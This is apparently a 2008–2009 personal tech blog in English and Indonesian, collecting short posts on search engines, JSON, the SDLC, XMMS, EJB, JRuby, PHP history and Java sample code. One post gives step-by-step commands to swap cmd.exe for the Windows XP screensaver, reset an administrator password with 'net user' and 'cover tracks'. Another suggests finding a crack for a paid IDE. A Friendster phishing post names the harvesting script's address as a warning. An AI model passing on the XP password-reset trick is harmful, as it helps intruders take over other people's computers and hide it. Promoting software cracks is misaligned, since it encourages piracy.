How Web Search Engine Works

2009-01-14T07:30:00.001-08:00

Search engines are the key to finding specific information on the vast expanse of the World Wide Web. Without sophisticated search engines, it would be virtually impossible to locate anything on the Web without knowing a specific URL. But do you know how search engines work? And do you know what makes some search engines more effective than others?

When people use the term search engine in relation to the Web, they are usually referring to the actual search forms that searches through databases of HTML documents, initially gathered by a robot.

There are basically three types of search engines: Those that are powered by robots (called crawlers; ants or spiders) and those that are powered by human submissions; and those that are a hybrid of the two.

Crawler-based search engines are those that use automated software agents (called crawlers) that visit a Web site, read the information on the actual site, read the site's meta tags and also follow the links that the site connects to performing indexing on all linked Web sites as well. The crawler returns all that information back to a central depository, where the data is indexed. The crawler will periodically return to the sites to check for any information that has changed. The frequency with which this happens is determined by the administrators of the search engine.

Human-powered search engines rely on humans to submit information that is subsequently indexed and catalogued. Only information that is submitted is put into the index.

Key Terms To Understanding Web Search Engines

spider trap
A condition of dynamic Web sites in which a search engine’s spider becomes trapped in an endless loop of code.

search engine
A program that searches documents for specified keywords and returns a list of the documents where the keywords were found.

meta tag
A special HTML tag that provides information about a Web page.

deep link
A hyperlink either on a Web page or in the results of a search engine query to a page on a Web site other than the site’s home page.

robot
A program that runs automatically without human intervention.

In both cases, when you query a search engine to locate information, you're actually searching through the index that the search engine has created —you are not actually searching the Web. These indices are giant databases of information that is collected and stored and subsequently searched. This explains why sometimes a search on a commercial search engine, such as Yahoo! or Google, will return results that are, in fact, dead links. Since the search results are based on the index, if the index hasn't been updated since a Web page became invalid the search engine treats the page as still an active link even though it no longer is. It will remain that way until the index is updated.

So why will the same search on different search engines produce different results? Part of the answer to that question is because not all indices are going to be exactly the same. It depends on what the spiders find or what the humans submitted. But more important, not every search engine uses the same algorithm to search through the indices. The algorithm is what the search engines use to determine the relevance of the information in the index to what the user is searching for.

One of the elements that a search engine algorithm scans for is the frequency and location of keywords on a Web page. Those with higher frequency are typically considered more relevant. But search engine technology is becoming sophisticated in its attempt to discourage what is known as keyword stuffing, or spamdexing.

Another common element that algorithms analyze is the way that pages link to other pages in the Web. By analyzing how pages link to each other, an engine can both determine what a page is about (if the keywords of the linked pages are similar to the keywords on the original page) and whether that page is considered "important" and deserving of a boost in ranking. Just as the technology is becoming increasingly sophisticated to ignore keyword stuffing, it is also becoming more savvy to Web masters who build artificial links into their sites in order to build an artificial ranking.

What is Json

2008-12-26T02:27:00.000-08:00

JSON short for JavaScript Object Notation, is a lightweight computer data interchange format. It is a text-based, human-readable format for representing simple data structures and associative arrays (called objects).

The JSON format is specified in RFC 4627 by Douglas Crockford. The official Internet media type for JSON is application/json. The JSON file extension is .json.

The JSON format is often used for transmitting structured data over a network connection in a process called serialization. Its main application is in Ajax web application programming, where it serves as an alternative to the use of the XML format.

Although JSON was based on a subset of the JavaScript programming language (specifically, Standard ECMA-262 3rd Edition—December 1999) and is commonly used with that language, it is considered to be a language-independent data format. Code for parsing and generating JSON data is readily available for a large variety of programming languages. The json.org website provides a comprehensive listing of existing JSON bindings, organized by language.

In December 2005, Yahoo! began offering some of its web services optionally in JSON. Google started offering JSON feeds for its GData web protocol in December 2006.

SON's basic types are:

Number (integer, real, or floating point)
String (double-quoted Unicode with backslash escaping)
Boolean (true and false)
Array (an ordered sequence of values, comma-separated and enclosed in square brackets)
Object (collection of key:value pairs, comma-separated and enclosed in curly braces)
null

The following example shows the JSON representation of an object that describes a person. The object has string fields for first name and last name, contains an object representing the person's address, and contains a list of phone numbers (an array).

{
    "firstName": "John",
    "lastName": "Smith",
    "address": {
        "streetAddress": "21 2nd Street",
        "city": "New York",
        "state": "NY",
        "postalCode": 10021
    },
    "phoneNumbers": [
        "212 555-1234",
        "646 555-4567"
    ]
}

System Development Life Cycle

2008-12-24T23:17:00.001-08:00

Beberapa waktu lalu beberapa temen bertanya pada saya seputar metodelogi pengembangan System Development Life Cycle Model (SDLC Model) atau juga dikenal dengan metodelogi Classic Life Cycle Model (CLCM)/ Linear Sequential Model (LSM)/Waterfall Method.

Karena itu, maka pada tulisan kali ini saya mencoba menjawab pertanyaan tersebut.

Metodelogi pengembangan System Development Life Cycle Model (SDLC Model) ini adalah metodelogi yang didasarkan pada beberapa aktifitas berikut :

1. System/Information Engineering and Modeling
Pengembangan sistem informasi dimulai dengan mengadakan penelitian terhadap elemen-elemen kebutuhan sistem bersangkutan dan mendefinisikan kebutuhan-kebutuhan tersebut dan menjabarkannya kedalam panduan bagi pengembangan sistem ditahap berikutnya. Aspek-aspek yang berkaitan berupa elemen-elemen yang berkaitan dengan sistem baik itu sumber daya manusia, peraturan perundang-undangan, perangkat keras (hardware), prosedur kerja organisasi maupun beragam aspek lainnya, baik yang terkait secara langsung maupun tidak dengan sistem komputerisasi yang akan dibangun. Fase ini merupakan fase yang sangat penting (essential) untuk mendapatkan gambaran utuh sistem guna pengembangan sistem bersangkutan kedalam bentuk penerapan sistem yang berbasis komputerisasi.

2. Software Requirements Analysis
Tahapan ini juga dikenal sebagai proses feasibility study. Dalam tahapan ini, tim pengembang sistem melakukan investigasi kebutuhan-kebutuhan sistem guna menentukan solusi piranti lunak (software) yang akan digunakan sebagai tulang punggung proses automatisasi /komputerisasi bagi sistem. Hasil investigasi berupa rekomendasi kepada pengembang sistem dalam hal spesifikasi teknis proses pengembangan sistem untuk tahap berikutnya yang berisikan hal-hal berkaitan dengan kebutuhan personal (personnel assignments), biaya (costs), jadwal pelaksanaan (project schedule), and batasan waktu penyelesaian pekerjaan (target dates). Disamping itu juga direkomendasikan beragam aspek teknis pengembangan software baik berupa fungsi-fungsi yang dibutuhkan (required function), karakteristik sistem (behavior), performansi sistem (performance) and antar muka aplikasi (interfacing).

3. Systems Analysis and Design
Pada tahapan ini, tim pengembangan sistem mendefinisikan proses-proses dan kebutuhan-kebutuhan sistem yang berkaitan dengan pengembangan aplikasi (software development process). Dalam fase ini ditentukan pemilihan teknologi yang akan diterapkan baik berupa client/server technology, rancangan database, maupun beragam aspek lainnya yang berkaitan dengan kegiatan analisis dan perancangan ini.

4. Code Generation
Pada tahapan ini hasil dari fase-fase sebelumnya dituangkan kedalam penulisan kode-kode dengan menggunakan bahasa pemrograman komputer yang telah ditentukan dalam tahap sebelumnya. Untuk melakukan pemrograman ini dibutuhkan perangkat-perangkat pemrograman seperti Code Editor, Compiler, Interpreter dan aneka perangkat lunak berkaitan lainnya sesuai dengan kebutuhan pemrograman bersangkutan.

5. Testing
Setelah proses penulisan kode pemrograman langkah berikutnya berupa proses pengujian terhadap hasil pemrograman tersebut . Pengujian mencakup beragam aspek yang berkaitan dengan System & Performance dari fase Code Generation. Pengujian-pengujian tersebut berupa Pengujian Database, Pengujian Validitas Data, Pengujian Logic Aplikasi, Pengujian Antar Muka Aplikasi (General User Interface/GUI), Pengujian User Administration. Hasil pengujian ini merupakan Umpan balik perbaikan System & Performance yang akan digunakan dalam proses perbaikan sistem hingga mencapai hasil yang diharapkan dan telah ditentukan sebelumnya.

6. Maintenance
Fase ini merupakan fase perawatan terhadap sistem yang telah dikembangkan dan diimplementasikan. Cakupan fase ini berupa proses perawatan terhadap sistem yang berkaitan dengan perawatan berkala dari sistem maupun proses terhadap perbaikan sistem manakala sistem menghadapi kendala dalam operasionalnya akibat masalah teknis dan non teknis yang tidak terindikasi dalam proses pengembangan sistem. Proses Maintenance ini juga meliputi upaya-upaya pengembangan terhadap sistem yang telah dikembangkan sebelumnya dalam menghadapi mengantisipasi perkembangan maupun perubahan sistem bersangkutan.

Berikut daftar link untuk mendapatkan berita terbaru & menarik seputar dunia teknologi informasi dan hal-hal menarik yang berkaitan lainnya :

Linux With XMMS

2008-12-24T04:21:00.000-08:00

Walau minimalist, Slackware ternyata menyediakan XMMS sehingga kita bisa mendengar musik sambil bekerja. Hanya saja ada sedikit tips agar musik anda tidak mengganggu program lain.

PASANG & PAKAI
Di Slackware, XMMS ada di paket XAP, dan mestinya sudah terpasang saat instalasi. Kalau belum gunakan pkgtool. Sementara itu desktop XFce sudah menyediakan peluncur xmms, tinggal klik.

Kalau sudah jalan, mestinya anda sudah tahu cara memakainya. XMMS bisa memainkan beberapa format musik seperti MP3, OrgVobis maupun Audio-CD. Tinggal masukkan ke PlayList lalu klik tombol Play.

GANTI KULIT
Biar tampilannya keren, XMMS-nya diberi kulit baru (skin). Caranya:

Download skin dari situs xmms Ada ratusan skin disitu.
Taruh skin tersebut di direktori ~/.xmms/Skin. Langsung saja dalam bentuk *.zip, *.tar.gz maupun *.tar.bz2, tidak perlu di ekstrak.
Dari xmms tekan Alt-S (browse Skins). Nah, tinggal pilih.

KONFIGURASI OUTPUT
Penampilan sudah, sekarang soal suara. Coba jalankan xmms, lalu klik ikon kecil di kiri atas, lalu pilih menu Options-Preferences. Pada kotak dialog, tab Audio I/O plugins, ada bagian output plugins. Di situ ada beberapa pilihan. Dari coba-coba, ternyata plugins ini mempengaruhi kualitas suara.

OSS Driver: suara langsung dikirim ke hardware, karenanya beban CPU rendah (0-1%), dan suara jelas tapi tajam.
eSound: dengan plugin ini, suara akan dikirim dulu ke suatu daemon bernama esd, baru di kirim ke hardware. Jadi ada beban CPU (1-2%), dan ternyata suaranya jadi rada kemresek.
aRts driver: Mula-mula saya kaget karena tidak jalan, padahal tadinya jalan. Saya ingat-ingat lagi, waktu jalan dulu saya pakai KDE, bukan XFCE. Arts ini memang bawaannya KDE, dan ternyata dia perlu daemon tersendiri. Kalau di KDE, daemonnya akan otomatis dijakankan, kalau di XFCE terpaksa manual. Jadi saya buka terminal lalu panggil:
```
tux@jawa:$ /opt/kde/bin/artsd
```
Nah, sekarang suaranya bisa keluar, dan ternyata lebih bening dibanding OSS ! Wow, hebat KDE. Cuma sayangnya artsd makan CPU sampai 4-5%.

XMMS dengan skin Ultrafina. Disebelahnya, top sedang mengukur beban CPU.

Data soal beban CPU itu saya ukur dengan program top, hasilnya pasti obyektif. Sementara itu, soal kualitas suara ... cuma pakai telinga saja. Jadi bisa didebat. Sudah begitu, speaker saya cuma di Laptop.

Jadi kalau pengen beban CPU ringan, dan kuping anda tidak audiophile banget, atau anda punya speaker Altec Langsing, pakai saja driver OSS. Anda mungkin perlu eSound atau arts kalau beberapa aplikasi ingin mengakses sound secara bersamaan (misal jalan 2 XMMS atau XMMS + MPlayer atau XMMS + games).

Fake Friendster

2008-12-23T01:26:00.000-08:00

Beberapa hari belakangan ini profile di Friendster saya tidak bisa dibuka. Apabila mengakses profile saya di FS, maka akan muncul halaman login seakan terjadi error pada FS dan meminta anda login kembali. Berikut tampilannya :

Apabila diperhatikan, alamat situs itu bukan http://www.friendster.com, melainkan http://www.friendster.co.nr! Mungkin bagi kebanyakan pengguna akan serta merta memasukkan email dan passwordnya. Tapi setelah saya liat2.. ternyata itu adalah situs Friendster Palsu! Halaman itu bertujuan untuk mengambil email dan password kita dan mengirimkannya ke tempat lain menggunakan script PHP dari alamat “http://209.190.16.82/bh.php” (bisa dilihat pada source code HTML-nya).

Setelah saya teliti.. ternyata hal ini bisa terjadi akibat testimonial yang menggunakan flash atau sejenisnya (saya lupa.. soalnya udah diapus) yang bisa me-redirect halaman profile kita ke alamat lain. Misalnya yang tadinya ingin membuka alamat http://www.friendster.com/akiralie akan di-redirect menjadi http://www.friendster.co.nr.

Setelah saya cek menggunakan ARIN WHOIS, IP 209.190.16.82 (IP dari script yg digunakan) menghasilkan informasi berikut :

Search results for: 209.190.16.82

OrgName:    Columbus Network Access Point, Inc.
OrgID:      CNAP
Address:    50 W, Broad St, Suite 627
City:       Columbus
StateProv:  OH
PostalCode: 43215
Country:    US

Sedangkan friendster.com memiliki IP 209.11.168.242 dengan informasi berikut :

Search results for: 209.11.168.242

OrgName:    Globix Corporation
OrgID:      GLBX
Address:    139 Centre Street
City:       New York
StateProv:  NY
PostalCode: 10013
Country:    US

Jadi sangat jelas bahwa script PHP itu BUKAN script dari Friendster.

Untuk itu.. saya menghimbau kepada temen2 yang sudah pernah memasukkan email dan password melalui halaman Friendster Palsu untuk SEGERA mengganti password. Sedangkan bagi yang belum pernah.. berhati-hatilah. Dan jangan lupa.. bagi yang mengkases Friendster melalui tempat umum (warnet atau lab), ada baiknya untuk menghapus cookies pada browser terlebih dahulu.

How to hack windows XP admin password

2008-12-23T01:21:00.000-08:00

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called djarot and you want the password blah enter this

"net user djarot blah"

and this changes the password on djarot machine to blah and your in.

Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

What is EJB

2008-12-19T03:00:00.000-08:00

Enterprise JavaBeans (EJB) is a server-side component architecture that simplifies
the process of building enterprise-class distributed component applications
in Java. By using EJB, you can write scalable, reliable, and secure
applications without writing your own complex distributed component
framework. EJB is about rapid application development for the server side;
you can quickly and easily construct server-side components in Java by leveraging
a prewritten distributed infrastructure provided by the industry. EJB is
designed to support application portability and reusability across any vendor’s
enterprise middleware services.
If you are new to enterprise computing, these concepts will be clarified
shortly. EJB is a complicated subject and thus deserves a thorough explanation.
In this chapter, we’ll introduce EJB by answering the following questions:

What plumbing do you need to build a robust distributed object deployment?
What is EJB, and what value does it add?
Who are the players in the EJB ecosystem?

What Is Corba ?

2008-12-19T00:42:00.000-08:00

It’s holding together the enterprise,
where reliability is important and many different platforms and operating
systems must work together to get the job done in the most robust way possible.
Even though the desktop corner in the upper left dominates in sheer
numbers of machines, the enterprise portion is where the action (and the
money!) concentrates:
All
of the requests from
all
of the clients on the left,
of every machine type, execute on the far smaller number of enterprise
machines on the right.
These machines are going to be stressed: High volumes of network traffic
and requests—coming from millions of machines of various types and
shapes over radio, cable, fiber, and copper links—funnel down to these
servers. If you’re a provider of a service in this part of the diagram, you
need two things: First, you need the freedom to pick the
best possible
hardware
and software for your job, since second-rate just won’t cut it in this
high-pressure environment; second, you need platform-independent, scalable,
robust interoperability so that your best-of-breed hardware and software
integrate smoothly with the rest of your enterprise. CORBA gives this
to you, and enterprise architects already realize this. If you can get this in
an infrastructure that is transactional and secure, which CORBA is, so
much the better.

Example For JRuby

2008-12-14T22:13:00.000-08:00

JRuby 1.0.3 was recently released and so was Rails 2.0. I decided to try JRuby 1.0.3 + Rails 2.0 and realized that a few additional steps (because of Rails 2.0) are required to get a trivial Hello World applcation up and running. Here are the steps:

Unzip JRuby 1.0.3.

Make sure to set JAVA_HOME and JRUBY_HOME.
Also include JAVA_HOME/bin and JRUBY_HOME/bin in PATH for convenience.

Install Rails 2.0 as shown below:

~/samples/jruby arungupta$ jruby -S gem install rails --include-dependencies --no-ri --no-rdoc Bulk updating Gem source index for: http://gems.rubyforge.org Successfully installed rails-2.0.2 Successfully installed activesupport-2.0.2 Successfully installed activerecord-2.0.2 Successfully installed actionpack-2.0.2 Successfully installed actionmailer-2.0.2 Successfully installed activeresource-2.0.2
Create a simple app using the following steps

Create a template app as:

jruby -S rails --database mysql hello or jruby -S rails -d mysql hello

It's important to specify --database mysql otherwise Rails 2.0 uses sqlite3 as the default database.
Add a Controller and View as:
cd hello jruby script/generate controller say hello
Edit the controller as:

vi app/controllers/say_controller.rb

and add the following variable in "hello" helper method:

@hello_string = ""
Edit the View as:

vi app/views/say/hello.html.erb

and add the following as last line:
<%= @hello_string %>

Notice, the view extension is .html.erb instead of .rhtml.

Download, Install and Configure MySQL (additional step for Rails 2.0)

Mac OS comes pre-installed with MySQL in /usr/local/mysql directory. Start the server as:

sudo ./bin/mysqld_safe

Alternatively, you can download and install MySQL Universal server (only .dmg format, not tar.gz format as specified here).
Create a database as:

sudo ./bin/mysqladmin create hello_development

Start the WEBrick server (in hello directory) as:

jruby script/server

Have Nice Try... :p

Sejarah PHP

2008-12-01T16:02:00.000-08:00

PHP pertama kali dibuat oleh Rasmus Lerdorf pada tahun 1995. Pada waktu itu PHP masih bernama FI (Form Interpreted), yang wujudnya berupa sekumpulan script yang digunakan untuk mengolah data form dari web.

Selanjutnya Rasmus merilis kode sumber tersebut untuk umum dan menamakannya PHP/FI, kependekan dari Hypertext Preprocessing'/Form Interpreter. Dengan perilisan kode sumber ini menjadi open source, maka banyak programmer yang tertarik untuk ikut mengembangkan PHP.

Pada November 1997, dirilis PHP/FI 2.0. Pada rilis ini interpreter PHP sudah diimplementasikan dalam program C. Dalam rilis ini disertakan juga modul-modul ekstensi yang meningkatkan kemampuan PHP/FI secara signifikan.

Pada tahun 1997, sebuah perusahaan bernama Zend menulis ulang interpreter PHP menjadi lebih bersih, lebih baik, dan lebih cepat. Kemudian pada Juni 1998, perusahaan tersebut merilis interpreter baru untuk PHP dan meresmikan rilis tersebut sebagai PHP 3.0.

Pada pertengahan tahun 1999, Zend merilis interpreter PHP baru dan rilis tersebut dikenal dengan PHP 4.0. PHP 4.0 adalah versi PHP yang paling banyak dipakai pada awal abad ke-21. Versi ini banyak dipakai disebabkan kemampuannya untuk membangun aplikasi web kompleks tetapi tetap memiliki kecepatan dan stabilitas yang tinggi.

Pada Juni 2004, Zend merilis PHP 5.0. Dalam versi ini, inti dari interpreter PHP mengalami perubahan besar. Versi ini juga memasukkan model pemrograman berorientasi objek ke dalam PHP untuk menjawab perkembangan bahasa pemrograman ke arah paradigma berorientasi objek.

Database Connection With Mysql

2008-07-03T20:55:00.000-07:00

Ini adalah sample koneksi database menggunakan MYSQL yang sederhana..
Disini saya akan memberikan contoh class connection MYSQL beserta cara penggunaannya.
Sebelumnya saya akan menjelaskan sedikit untuk methode pada class ConMysql.

Method dari selectQuery bertujuan untuk mengambil data dari database. dan akan mengembalikan data dengan nilai result berType "ResultSet". Sedangkan untuk method updateQuery bertujuan untuk mengupdate, delete, dan akan mengembalikan data result berType "boolean". langsung mulai aja yach..

Isi pada ConMysql.java

package org.kopiitem.util;
/**
* User: akiralie
* Date: May 21, 2007
* Time: 10:15:31 AM
*/
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;

public class ConMysql {
Connection conn = null;
Statement st = null;
ResultSet rs = null;

public void open() {
try {
Class.forName("org.gjt.mm.mysql.Driver").newInstance();
conn = DriverManager.getConnection(
"jdbc:mysql://localhost/sks", "root", "xxx");
System.out.println("== Success Connect ==");
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
}
}

public ResultSet selectQuery(String query) {
try {
st = conn.createStatement();
rs = st.executeQuery(query);
conn.close();
} catch (SQLException sqle) {
sqle.printStackTrace();
}
return rs;
}

public boolean updateQuery(String query) {
boolean status = false;
try {
st = conn.createStatement();
status = st.execute(query);
conn.close();
} catch (SQLException sqle) {
sqle.printStackTrace();
}
return status;
}

public void close() {
try {
if (!conn.isClosed()) {
st.close();
rs.close();
conn.close();
}
} catch (SQLException e) {
e.printStackTrace();
}
}
}

dan ini adalah cara penggunaan dari class diatas

isi pada MainApp.java

package org.kopiitem.main;
/**
* User: akiralie
* Date: May 21, 2007
* Time: 10:15:31 AM
*/
import org.kopiitem.util.ConMysql;

import java.sql.ResultSet;

public class MainApp {
public static void main(String[] args) {
ResultSet rs = null;
ConMysql conn = new ConMysql();
String query = "SELECT * FROM USER";
try {
conn.open();
rs = conn.selectQuery(query);
while (rs.next()) {
System.out.println("Data : " + rs.getString("firstname"));
}
conn.close();
} catch (Exception e) {
e.printStackTrace();
}

}

}

Result dari MainApp akan menghasilkan :

== Success Connect ==
Data : System
Data : User

Okay Sekian dulu untuk info nya ya.. he he he tetap Smangat buat belajar java..

Server For Java

2008-06-19T04:53:00.000-07:00

Server Java apa aja ya? Server untuk application java ada berbagai macam. Untuk yang saya kenal dan saya pernah gunakan adalah Tomcat . Server Tomcat ini biasanya yang paling lazim dipakai orang kebanyakan orang. Disamping cara settingan nya tidak terlalu sulit. dan juga server ini bisa dikatakan cukup ringan.

Untuk level yang enterpise ada Jboss dan glassfish. Dimana kita bisa menggunakan lib EJB yang di maintenace oleh server tersebut. Seperti Jboss Messaging, dimana kita bisa maintenance mengirimkan queue kedalam antrian server. dan kita juga bisa ambil queue tersebut dari server. Disitu kita tinggal menentukan nama queue nya dan jndi nya kemana. Masih banyak EJB yang ada didalam Server tersebut. Mungkin di posting blog berikutnya saya akan membahas mengenai ejb2 yang lain dan memberikan sample sederhana.

Sebetulnya masih banyak lagi Server untuk java web seperti weblogic, Resin, Dll. terus terang weblogic dan Resin saya belum pernah menggunakan nya. mungkin suatu saat saya akan mencobanya. barang kali ada info dari teman2. boleh beri comment kepada saya.

Perkenalan IDE dari JAVA

2008-06-18T07:27:00.000-07:00

IDE pertama yang saya pakai dalam membangun sebuah application JAVA yaitu Netbeans . waktu itu saya sedang membangun application J2ME. Dimana IDE Netbeans ini sangat mudah dimengerti oleh orang awam dan juga mempunyai kelengkapan secara fundamental. seperti sudah tersedianya J2EE, J2SE, J2ME.. Bisa di katakan lengkap lah ... :p

Dengan menggunakan Netbeans untuk sebuah application J2ME jadilah sangat mudah. anda cukup hanya dengan drag and drop. Begitu pula terjadi pada application untuk bagian J2SE yang dibangun dengan menggunakan IDE dari Netbeans.

Kalau temen2 pernah menggunakan VB6.. nah Netbeans ini mirip sekali dengan VB6. didalam site Netbeans juga ada beberapa macam tutorial.

Ada juga IDE yang tidak kalah menarik adalah Eclipse IDE ini biasa saya gunakan dalam membangun application berbasiskan J2EE. Pertama kali pakai Eclipse awalnya agak membingungkan tapi setelah sekian lama.. saya jadi mulai terbiasa dengan shortkey2 dari Eclipse itu sendiri.

Ada Juga IDE JAVA yang bayar loh... nah IDE ini paling mudah digunakan.. tapi sayang sekali kita mesti cari CRACK nya dulu sebelum memakai nya.. namanya IDEA ...

Nah sekarang tergantung dari temen2 mau pilih IDE yang mana yang akan dipakai untuk develope application dari Java..

Sample Of Hash ( One of Type Collection In Java )

2008-06-13T06:49:00.000-07:00

A Set is a Collection that contains unique elements (i.e., no duplicate elements). 
The collections framework contains several Set implementations, 
including HashSet and TreeSet. HashSet stores its elements in a hash table, and TReeSet stores its elements in a tree.
U can uses a HashSet to remove duplicate strings from a List. Recall that both List and Collection are generic types, 
so creates a List that contains String objects, and passes a Collection of Strings to method printNonDuplicates.


import java.util.List;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Set;
import java.util.Collection;

public class SetTest   {
     private static final String colors[] = { "red", "white", "blue",
       "green", "gray", "orange", "tan", "white", "cyan",
       "peach", "gray", "orange" };
     // create and output ArrayList
  public SetTest()  {
      List list = Arrays.asList( colors );
      System.out.printf( "ArrayList: %s\n", list );
      printNonDuplicates( list );
  }

    private void printNonDuplicates( Collection collection ){
      // create a HashSet                                     
      Set set = new HashSet( collection );
      System.out.println( "\nNonduplicates are: " );

        // Model Out Print From Java 6               
      for ( String s : set )
         System.out.printf( "%s ", s );
      System.out.println();
  }

    public static void main( String args[] )     {
      new SetTest();
  } 
}

Result Is :

ArrayList: [red, white, blue, green, gray, orange, tan, white, cyan, peach, gray, orange]
Nonduplicates are:
red cyan white tan gray green orange blue peach

History Of C Language

2008-06-12T09:30:00.000-07:00

Early developments

The initial development of C occurred at AT&T Bell Labs between 1969 and 1973; according to Ritchie, the most creative period occurred in 1972. It was named "C" because many of its features were derived from an earlier language called "B", which according to Ken Thompson was a stripped down version of the BCPL programming language.

The origin of C is closely tied to the development of the Unix operating system, originally implemented in assembly language on a PDP-7 by Ritchie and Thompson, incorporating several ideas from colleagues. Eventually they decided to port the operating system to a PDP-11. B's lack of functionality to take advantage of some of the PDP-11's features, notably byte addressability, led to the development of an early version of the C programming language.

The original PDP-11 version of the Unix system was developed in assembly language. By 1973, with the addition of struct types, the C language had become powerful enough that most of the Unix kernel was rewritten in C. This was one of the first operating system kernels implemented in a language other than assembly. (Earlier instances include the Multics system (written in PL/I), and MCP (Master Control Program) for the Burroughs B5000 written in ALGOL in 1961.)

K&R C

In 1978, Brian Kernighan and Dennis Ritchie published the first edition of The C Programming Language. This book, known to C programmers as "K&R", served for many years as an informal specification of the language. The version of C that it describes is commonly referred to as "K&R C". The second edition of the book covers the later ANSI C standard.

K&R introduced several language features:

standard I/O library
long int data type
unsigned int data type
compound assignment operators =op were changed to op= to remove the semantic ambiguity created by the construct i=-10, which had been interpreted as i =- 10 instead of the possibly intended i = -10

Even after the publication of the 1989 C standard, for many years K&R C was still considered the "lowest common denominator" to which C programmers restricted themselves when maximum portability was desired, since many older compilers were still in use, and because carefully written K&R C code can be legal Standard C as well.

Java Founded by

2008-05-12T03:25:00.000-07:00

The Java language was created by James A. Gosling in June 1991 for use in one of his many set-top box projects. The language was initially called Oak, after an oak tree that stood outside Gosling's office—and also went by the name Green—and ended up later being renamed to Java, from a list of random words. Gosling's goals were to implement a virtual machine and a language that had a familiar C/C++ style of notation. The first public implementation was Java 1.0 in 1995. It promised "Write Once, Run Anywhere" (WORA), providing no-cost runtimes on popular platforms. It was fairly secure and its security was configurable, allowing network and file access to be restricted. Major web browsers soon incorporated the ability to run secure Java applets within web pages. Java quickly became popular. With the advent of Java 2, new versions had multiple configurations built for different types of platforms. For example, J2EE was for enterprise applications and the greatly stripped down version J2ME was for mobile applications. J2SE was the designation for the Standard Edition. In 2006, for marketing purposes, new J2 versions were renamed Java EE, Java ME, and Java SE, respectively.

In 1997, Sun Microsystems approached the ISO/IEC JTC1 standards body and later the Ecma International to formalize Java, but it soon withdrew from the process. Java remains a de facto standard that is controlled through the Java Community Process. At one time, Sun made most of its Java implementations available without charge although they were proprietary software. Sun's revenue from Java was generated by the selling of licenses for specialized products such as the Java Enterprise System. Sun distinguishes between its Software Development Kit (SDK) and Runtime Environment (JRE) that is a subset of the SDK, the primary distinction being that in the JRE, the compiler, utility programs, and many necessary header files are not present.

On 13 November 2006, Sun released much of Java as free software under the terms of the GNU General Public License (GPL). On 8 May 2007 Sun finished the process, making all of Java's core code open source, aside from a small portion of code to which Sun did not hold the copyright.

James A. Gosling, O.C., Ph.D (born May 19, 1955 near Calgary, Alberta, Canada) is a famous software developer, best known as the father of the Java programming language.
